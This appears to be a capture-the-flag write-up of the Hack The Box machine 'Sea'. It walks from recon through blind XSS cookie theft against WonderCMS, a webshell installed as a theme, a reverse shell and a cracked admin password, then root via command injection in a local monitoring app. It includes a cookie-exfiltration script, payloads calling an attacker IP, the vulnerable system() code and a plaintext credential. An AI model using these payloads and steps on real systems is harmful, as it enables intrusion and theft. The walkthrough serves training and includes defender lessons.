Sea

INTRODUCTION

Sea was released as the second box of HTB’s Season 6, Heist. With proper recon, it’s a very short box. Perhaps they will fix it after the season ends, but this box actually comes pre-exploited: to gain foothold, all you have to do is find the exploit and use it. It’s totally doable to figure out how to exploit it yourself though - that’s the method that I’ll outline in this walkthrough.

Recon is typical of an HTTP server. No alternate domains or subdomains were encountered. Effective directory and file enumeration leads to some important results though. I highly recommend you crawl the site for links on this one, though - so tools like ZAP Spider or Feroxbuster will both lead you to the results you need almost instantly. After this, a little web searching will allow you to determine the CMS that is being used.

After identifying the CMS, a bit of searching will reveal a very obvious exploit to try (Oddly though, it seems this exploit has already been used, and its result left in plain sight on the target?). Replicate this exploit using your own infrastructure to gain a foothold. After a some trivial local enumeration, a password hash can be recovered (remember, this is a “flat-file” CMS!). Crack the password to gain SSH access to a low privilege user, and the flag.

Local enumeration as the low-privileged user reveals an alternative http server exposed locally. Establish a proxy or forward a port for this server to gain easy access to it. The http server is able to run a few privileged commands - figure out a way to use this http server to perform a simple command injection and become root.

Personally, I didn’t enjoy this box. The lack of proper cleanup scripts, general flakiness of the webserver, and the “already-exploited” aspect made this box confusing, but not challenging. These factors also led to constant box resets.

title picture

RECON

nmap scans

Port scan

I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_  256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)

Interesting that there’s no httponly flag set on the session ID cookie. I’ll have to be on high alert for XSS opportunities 🚨

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

PORT      STATE         SERVICE    VERSION
68/udp    open|filtered tcpwrapped
138/udp   open|filtered tcpwrapped
162/udp   open|filtered tcpwrapped
515/udp   open|filtered tcpwrapped
1701/udp  open|filtered L2TP
2049/udp  open|filtered nfs
5353/udp  open|filtered zeroconf
49153/udp open|filtered unknown
49200/udp open|filtered unknown
65024/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy

I’ll add sea.htb to /etc/hosts and do banner grabbing on that domain:

DOMAIN=sea.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results. It’s probably pointless, since there was no redirect to sea.htb (I only added the domain to my hosts file for convenience sake), I’ll check for subdomains of sea.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that. I’ll move on to directory enumeration on http://sea.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 -c -o fuzzing/ffuf-directories-root -of json -e .php,.js,.html,.txt -timeout 4 -fs 199

Directory enumeration against http://sea.htb/ gave the following:

directory enumeration 1

Exploring the Website

The website claims to be an organizer of competetive nighttime bike events. So quirky! I hope their waivers are bulletproof.

index page

The only important-looking clue is on the How to Participate tab:

To participate, you only need to send your data as a participant through contact. Simply enter your name, email, age and country. In addition, you can optionally add your website related to your passion for night racing.

This paragraph leads us to contact.php, where there is a form to enter name, email, age, country, and (oddly enough) website. Let’s quickly start up a webserver with our own index page, and try out this form:

sudo ufw allow from $RADDR to any port 8000 proto tcp
ip a s tun0  # I'm at 10.10.14.5 right now
cd www
simple-server 8000 -v

contact page

As expected, the target contacted my HTTP server:

10.10.11.28 - - [12/Aug/2024 08:11:04] "GET / HTTP/1.1" 200 -
Host: 10.10.14.5:8000
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.5938.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate

CMS Identification

What type of website is this? Is it fully custom? There is very little to go off of. Usually, the directory structure is a pretty good hint. I “spidered” the site using ZAP, showing that I had pretty much found the whole site from my initial directory enumeration:

directory structure

Since it’s much better than searching on my own for the same info, I threw a prompt at ChatGPT:

*Can you help me identify what type of server is running this web app, based on its directory structure? I suspect it is some kind of CMS, but I don’t know: It has directories: data, messages, plugins, themes. There is also “index.php”, “contact.php”, “home”, “404”, and “0”. Tell me the five most likely types of CMS that could be running this web app"

Although it was much more verbose than this, it listed out the following:

  • Bludit
  • Grav CMS
  • GetSimple CMS
  • Wolf CMS
  • WonderCMS

They pretty much all share the same characteristic directories. Unlike the others, Bludit uses a messages directory, making it the most likely CMS.

However, since the logo image is clearly part of the theme, I did some searching for that one filename. I simply googled ““bike/img/velik71-new-logotip.png” and found a very sparse, but very informative result!

google search for bike logo

That page shows a discussion between the theme developer and WonderCMS for having the theme integrated into the downloadable / official themes for the CMS. While the WonderCMS them github repo is now deprecated, the theme developer still has it on their github.

I downloaded the theme, and it’s definitely a match! This definitively shows that the site is using WonderCMS.

FOOTHOLD

Cross-site Scripting

As I noted earlier during the script scan, the HttpOnly property of the cookie was set to false. This means that the cookie could be obtained by XSS. Here’s what the cookie looks like:

cookie details

There are a few important things to observe:

  • the Domain is set to sea.htb
  • the HostOnly property is true, so subdomains of sea.htb would not be able to access it.
  • the HttpOnly property is false, so the cookie is accessible to javascript
  • This is a PHP session ID - if we can get a copy of the target’s cookie, we may be able to impersonate them

We don’t get any output from the form, and have no way of viewing the stored form submission, so a successful attack would have to be blind XSS.

testing bad characters 1

Although I thought I was unlikely to find any result, I checked searchsploit to see if WonderCMS had any known XSS opportunities. Much to my surprise, it does:

searchsploit

It’s already on my kali system, so I copied the path, and looked up the exploit on ExploitDB:

searchsploit --path 51805
cp [PASTE] ./exploit/

I won’t copy out the whole exploit here, but the gist of it is as follows:

  1. XSS the admin user to steal their session cookie
  2. Impersonate their session by navigating to the WonderCMS loginURL
  3. Install a module onto the site (as a “theme” file), which is actually a reverse shell
  4. Contact the reverse shell, providing the reverse shell listener’s address and port as URL parameters.

☝️ The exploit does all these steps automatically, but I’d rather break it down into its component steps and try them manually.

❓ At this point, I checked to see if the reverse shell was already present. Very surprisingly, it was sitting there, named exactly as it is in the Exploit DB script.

To access it, just set up a reverse shell listener and GET the reverse shell script: http://sea.htb/themes/revshell-main/rev.php?lhost=IP&lport=PORT

I reset the box, and the reverse shell was still there. It seems like this box comes pre-exploited 🙀

Was this intentional? Was it sloppiness? I have no idea. I’m going to continue this section of the walkthrough by pretending I never found this reverse shell. If you want to skip all this, just go straight to the next section.

If you run the exploit script, it will provide you with a string to use for XSS. For me, it became this:

http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.104:8000/xss.js"></script><form+action="

When the admin user “clicks the link”, http://10.10.14.104:8000/xss.js should be loaded into the local javascript context and executed. To steal the PHPSESSID, we just need to dump their cookies. For that task, I used my usual XSS exfil script (this becomes my version of xss.js, replacing the need for the one generated by the exploit):

function urlSafeBase64Encode(data) {
  var encoded = btoa(data)
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=/g, '');
  return encoded;
}
new Image().src='http://10.10.14.104:8000/XSS/?b64='+urlSafeBase64Encode(document.cookie)

(All it does is base64-encode the cookie, then POST it back to my webserver.)

I typically base64-encode everything I exfil via XSS. The http server I use is my variant of the python http.server, which will automatically decode anything passed to it with a b64 parameter.

Please go ahead and try that server if you want to skip a few steps.

Before I try the XSS, I’ll start up a webserver in the directory where I have xss.js:

cd www  # contains xss.js
simple-server 8000 -v

Now, I’ll try out this XSS by using just the website field on the contact.php form:

XSS attempt

After a minute or two, I started seeing responses come in:

succxss

👏 And there’s the session cookie!

I’ll copy that into my own browser, and visit the login page. Hopefully it will recognize the session cookie and just redirect me:

http://sea.htb/loginURL

😁 Bingo! It worked perfectly. This is the admin interface to WonderCMS.

Shoot… I actually really like this. WonderCMS seems far, far better than Wordpress.

stolen session

The Site Configuration panel shows several promising options for us to gain RCE:

site settings

Files seems like the obvious choice. Just upload a webshell or something, right? Well, it doesn’t agree:

file upload error

But clearly there is a way to add new PHP to the website - otherwise this would be a pretty useless CMS, right? Both Themes and Plugins would perform that task. Let’s do exactly as shown in EDB-ID 51805 and install malicious theme/plugin using the API-style call. The request should look like this:

GET http://sea.htb/?installModule=http://10.10.14.104:8000/myplugin.zip&directoryName=violet&type=themes&token=[TOKEN]

Generating the plugin

It’s just going to be a webshell inside a zip. From the WonderCMS documentation, it seem that it’s important that the name of the directory inside the zip matches the module name:

mkdir -p exploit/myplugin
cp /usr/share/webshells/php/phpbash.php exploit/myplugin/lkjhgytrscbuni6656754756.php
cd exploit
zip -r myplugin.zip myplugin

generating a plugin

Then make sure we can obtain this zip via the local webserver:

cd ../www
cp ../exploit/myplugin.zip ./
sudo ufw allow from $RADDR to any port 8000 proto tcp
simple-server 8000 -v  # serve this directory, if it isnt already served

Uploading the plugin

Now we just need to obtain a token. We can do this by simply searching the DOM of the admin interface. I found it in the Logout button:

<a href="http://sea.htb/logout?token=43f2388fdb232fc04313fe47a0d0b8a71f37887c5c59a37b7324a1110953373a&amp;to=home/" class="wbtn wbtn-danger wbtn-sm button logout" title="Logout" onclick="return confirm('Log out?')"><i class="logoutIcon"></i></a>

Finally, let’s wrap it all together by sending the request to the installModule endpoint:

👇 Remember to include the PHPSESSID cookie, otherwise it wont match the token we’ve provided

TOKEN='43f2388fdb232fc04313fe47a0d0b8a71f37887c5c59a37b7324a1110953373a'
MODULE='http://10.10.14.104:8000/myplugin.zip'
COOKIE='PHPSESSID=j4sbrq5ufqc187s1q990tfmu24'
curl "http://sea.htb/?installModule=$MODULE&directoryName=violet&type=themes&token=$TOKEN" -b $COOKIE

Webshell

Now we can check to see if our “module” was actually installed. Just navigate to http://sea.htb/themes/myplugin/lkjhgytrscbuni6656754756.php

🤗 I gave the webshell a really obscure name so that people couldn’t discover it via fuzzing.

phpbash

🎉 There we go! We have RCE 😁

Webshell into Reverse shell

Let’s prepare a reverse shell listener:

💡 I’m trying to get into the habit of using stealthier ports

sudo ufw allow from $RADDR to any port 53 proto tcp
bash
sudo nc -lvnp 53

No need to overcomplicate anything, we can use a simple nc reverse shell. Be sure to background the process with a & or it will cause the whole webserver to hang.

reverse shell

Checking our reverse shell listener, we see that it worked perfectly 😉

pre exploited

Foothold was harder than I thought it would be, but actually pretty cool!

USER FLAG

Upgrade the shell

It would be good to have a nicer shell. Let’s upgrade this one:

which python python3 perl bash
# Python3 is present
python3 -c 'import pty; pty.spawn("/bin/bash")
[Ctrl+Z] stty raw -echo; fg [Enter] [Enter] 
export TERM=xterm-256color
export SHELL=bash
stty rows 35 columns 120
alias ll="ls -lah"

Local Enumeration - www-data

Checking out the /var/www/sea directory, I almost immediately found database.js. Inside, we clearly see the WonderCMS admin password hash:

database screenshot with hashed password

It’s tempting to just toss this into john or hashcat, but this will result in an error:

john error

We need to remember that this was a javascript file: the string we took out of it actually contains backslash \ escapes. Edit the hash and remove them:

edit hash remove slash

Running it through john again, we get the password within seconds:

cracked hash

These are the users on the box that we care about. If I’m checking for credential re-use, these are the top prospects:

cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -vE '^sync:'
# root:x:0:0:root:/root:/bin/bash
# amay:x:1000:1000:amay:/home/amay:/bin/bash
# geo:x:1001:1001::/home/geo:/bin/bash

I’ll try SSH as either of the users with a home directory:

ssh geo@$RADDR   # use password "mychemicalromance"
# Nope
ssh amay@$RADDR  # use password "mychemicalromance"
# Yep!

🎉 Alright! Success. The SSH connection drops us into /home/amay, adjacent to the user flag. Simply cat it out for the points:

cat user.txt

ROOT FLAG

Local Enumeration - amay

Checking sudo -l shows that amay doesn’t actually have any sudo access. However, we can see right away that there are some services listening locally:

netstat

☝️ Usually I’d just establish a SOCKS5 proxy using chisel. However, this box is giving me the dreaded “No space left on device” 😱

Thankfully, we have SSH credentials, so we can just forward the ports instead! (Note I’ll use 8008 instead of 8080, because I already have ZAP using port 8080)

exit # log out of amay
ssh -L 8008:localhost:8080 -L 52119:localhost:52119 amay@$RADDR

Now we can check out what is running on port 8080.

When I navigate to http://localhost:8008 I’m presented with http basic authentication prompt. Assuming that amay has access to this service, I just used those credentials (amay : mychemicalromance):

basic auth

The authentication was successful, and brings us to some kind of system monitor page:

port 8080

System Monitor

This page appears to let us do some basic administrative tasks on the host. Normally, all of these operations require root access, so this may be useful for privilege escalation… 🤔

The bottom section is particularly interesting. It allows us to read either /var/log/apache2/access.log or /var/log/auth.log, both of which can only be read by root (or members of the adm group):

log file permissions

When we click the button to analyze access.log, we get some output based on the file contents. The same is true for auth.log:

system monitor 1

If we proxy this request through ZAP, we can see that the filename is passed via a POST body:

POST http://localhost:8080/ HTTP/1.1
host: localhost:8080
...
Content-Type: application/x-www-form-urlencoded
...

log_file=%2Fvar%2Flog%2Fapache2%2Faccess.log&analyze_log=

Additionally, it seems like the two filenames are hardcoded directly into the dropdown menu:

system monitor 2

From a coding perspective, this is a really odd choice. It’s either a mistake or a vulnerability. Let’s test if the value of the <option> element determines which file is read by the tool:

system monitor 3

😂 I’d say this is pretty clear confirmation:

system monitor 4

However, if we try to read /root/root.txt by the same method, we just get a message stating “No suspicious traffic patterns detected in /root/root.txt.”

This means that the underlying system must be running grep over the specified file, or something similar, and if any result was returned then it will show us the file contents. Since there is nothing suspicious about the hash inside of /root/root.txt, we can’t see the contents directly.

We can imagine that behind-the-scenes, there is a command like this running:

$(cat $FILENAME | grep -f suspicious_traffic_patterns.txt) && echo "Suspicious traffic patterns detected in $FILENAME" || echo "No suspicious traffic patterns detected in $FILENAME"

So… Why not just redirect the output of the cat part? 😉

Exploit system monitor 1

When we run the Analyze operation, we see the file created at /tmp/.Tools/logfile:

got root flag

If all you want is the flag, that’s it!

EXTRA CREDIT

Full Pwn

Why stop with an arbitrary file read? We’ve already demontrated that we can also write an arbitrary file, so let’s write something useful - we could plant an ssh key onto the root user and have full access to the box.

First, from the attacker host, create a new keypair:

ssh-keygen -t rsa -b 4096 -f root_id_rsa -N 'vulture.1337'
chmod 600 root_id_rsa
base64 -w 0 root_id_rsa.pub  # Copy to clipboard

Now, using the amay ssh connection, insert pubkey into a file on the target:

echo -n '[PASTE CLIPBOARD]' | base64 -d > /tmp/.Tools/id_rsa.pub

With the pubkey in place, we can now just append it into /root/.ssh/authorized_keys:

system monitor 5

☝️ Be sure to use >> instead of > for this. Then you won’t ruin anybody else’s root backdoor.

We can now use our private key to log into the box as root:

ssh -i root_id_rsa root@$RADDR  # use passphrase 'vulture.1337'

root ssh

System Monitor

The two directories inside /root pertain to the System Monitor service we just used for privesc. Out of interest, we can now see exactly the script we injected our input into, in /root/monitoring/index.php:

if (isset($_POST['analyze_log'])) {
    $log_file = $_POST['log_file'];

    $suspicious_traffic = system("cat $log_file | grep -i 'sql\|exec\|wget\|curl\|whoami\|system\|shell_exec\|ls\|dir'");
    if (!empty($suspicious_traffic)) {
        echo "<p class='error'>Suspicious traffic patterns detected in $log_file:</p>";
        echo "<pre>$suspicious_traffic</pre>";
    } else {
        echo "<p>No suspicious traffic patterns detected in $log_file.</p>";
    }
}

Wow! The system() call we exploited was even simpler than I had imagined 😂

cat $log_file | grep -i 'sql\|exec\|wget\|curl\|whoami\|system\|shell_exec\|ls\|dir'

Contact.php XSS

Now that I have a root shell, I can freely check out what the point of geo was.

As it turns out, they hold the script that performs the contact form checking! It’s at /home/geo/scripts/contact.py:

import os
import asyncio
from pyppeteer import launch
import requests

async def XSS(page, url):
    login_url = 'http://127.0.0.1/loginURL'
    headers = {'host': 'sea.htb'}
    data = {'password': 'mychemicalromance'}

    response = requests.post(login_url, data=data, headers=headers, allow_redirects=False)
    cookie = response.headers.get('Set-Cookie')
    cookie = cookie.split(';')
    cookie = cookie[1].split('=')[2]
    cookie = {'name': 'PHPSESSID', 'value': cookie, 'domain': 'sea.htb'}
    await page.setCookie(cookie)
    try:    
        await page.goto(url)
        content = await page.content()
    except Exception as e:
        print(f"[!] Failed at goto. {e}")

async def main():
    browser = await launch(headless=True, args=['--no-sandbox'])
    page = await browser.newPage()
    directory_path = "/var/www/sea/messages/"

    while True:
        files = os.listdir(directory_path)
        message_files = [file for file in files if file.endswith(".txt")]

        urls = []
        for file in message_files:
            try: 
                file_path = os.path.join(directory_path, file)
                with open(file_path, 'r') as f:
                    lines = f.readlines()
                    for line in lines:
                        if line.startswith("Website:"):
                            website = line.strip().split(": ")[1]
                            urls.append(website)
            except:
                print(f"[!] Failed to process {file}")
    
        for url in urls:
            try:
                await XSS(page, url)
            except:
                print("[!] Failed at XSS")

        os.system(f"rm -f {directory_path}*")
        await asyncio.sleep(60)

asyncio.get_event_loop().run_until_complete(main())

In short, the XSS happens implicitly, right here:

try:    
    await page.goto(url)
    content = await page.content()
except Exception as e:
    print(f"[!] Failed at goto. {e}")

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm -rf loot
sudo vim /etc/hosts  # Remove sea.htb

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • 🚪 Check if the box has already been exploited. When you’re up against a seriously misconfigured target, or one that’s vulnerable to a very well-known exploit, there is a good chance that the box has already been exploited. It’s useful to check quickly if you can access any backdoors that may have been installed already. The best hackers will close every door behind themselves, and cover all of their own tracks, but there are plenty of sloppy hackers out there too. It’s greasy, but if all you want is the points, then go for it.

  • 🔁 Figure out your own exploit. Opposite to the previous point, you will learn so much more by creating your own exploit. Even if this only involves re-writing each component step of an existing exploit then delivering it from your own infrastructure, the learning is very valuable. After all, not everyone who develops an exploit is some ultra-elite pro hacker with a decade of experience… sometimes the vulnerability is easy, and that developer was simply the first to publish something!

  • ☑️ Use a checklist with recon. Not everyone would have taken the extra step to identify the CMS on this box. In this case, identifying the CMS was essential to the exploit. It’s smart to establish a checklist for recon, so you can spend a few minutes on each item and build a bigger picture of what the target is about. Even if you had, for example, a checklist item saying “identify CMS” but the target was running some custom-made website without a CMS, at least you spent a few minutes and can confidently write down “no result found” next to that box.

two crossed swords

Defender

  • 🍪 Protect against XSS. It’s usually pretty easy to protect against XSS. On this box, the attacker would have been thwarted by applying a proper CSP header, and setting the cookie HttpOnly attribute to True and SameSite to True. Some other really useful mitigations would have been input sanitization on the website field of contact.php. After all, there was no reason that we should have allowed any characters that aren’t used in URLs. Although it’s clearly outside the scope of this box, the site should also have used HTTPS, and used the Secure cookie attribute.

  • 👶 Least privilege, yep still important!. On this box, there was an internal System Monitor web app running as root. That’s a really bad idea. Why not run it as a system account, and just grant access to the log files? The system account (ex. systemmonitor) could be placed in the sudoers list with the ability to do the apt stuff:

    systemmonitor ALL=(ALL) NOPASSWD: /usr/bin/apt update, /usr/bin/apt clean
    

Thanks for reading

🤝🤝🤝🤝
@4wayhandshake